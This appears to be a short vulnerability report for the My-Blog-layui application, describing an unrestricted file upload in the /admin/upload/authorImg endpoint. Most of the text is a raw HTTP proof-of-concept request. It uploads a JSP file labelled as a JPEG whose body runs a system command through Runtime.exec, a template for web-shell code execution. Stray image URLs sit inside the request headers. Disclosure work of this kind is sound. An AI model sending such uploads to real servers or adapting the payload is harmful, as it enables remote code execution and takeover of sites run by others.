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AdminController.java

There is an arbitrary file upload vulnerability in the /upload/authorImg interface of
AdminController.java. This interface does not limit the type of uploaded files.

My-Blog-layui has an arbitrary file upload
vulnerability in AdminController.java
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Code analysis

POC

POST /admin/upload/authorImg/ HTTP/1.1
Host: 192.168.0.100:8080
Content-Length: 221

https://raw.githubusercontent.com/buluorifu/Vulnerability-recurrence/refs/heads/main/png/11-1.png
https://raw.githubusercontent.com/buluorifu/Vulnerability-recurrence/refs/heads/main/png/11-1.png


X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryXBBEmjyoBNq3ZMwY
Origin: http://192.168.0.100:8080
Referer: http://192.168.0.100:8080/admin/v1/userInfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=2A8FB4D91E9E384E2002C39A430CA858
Connection: close

------WebKitFormBoundaryXBBEmjyoBNq3ZMwY
Content-Disposition: form-data; name="file"; filename="calc.jsp"
Content-Type: image/jpeg

<% Runtime.getRuntime().exec("calc");%>
------WebKitFormBoundaryXBBEmjyoBNq3ZMwY--
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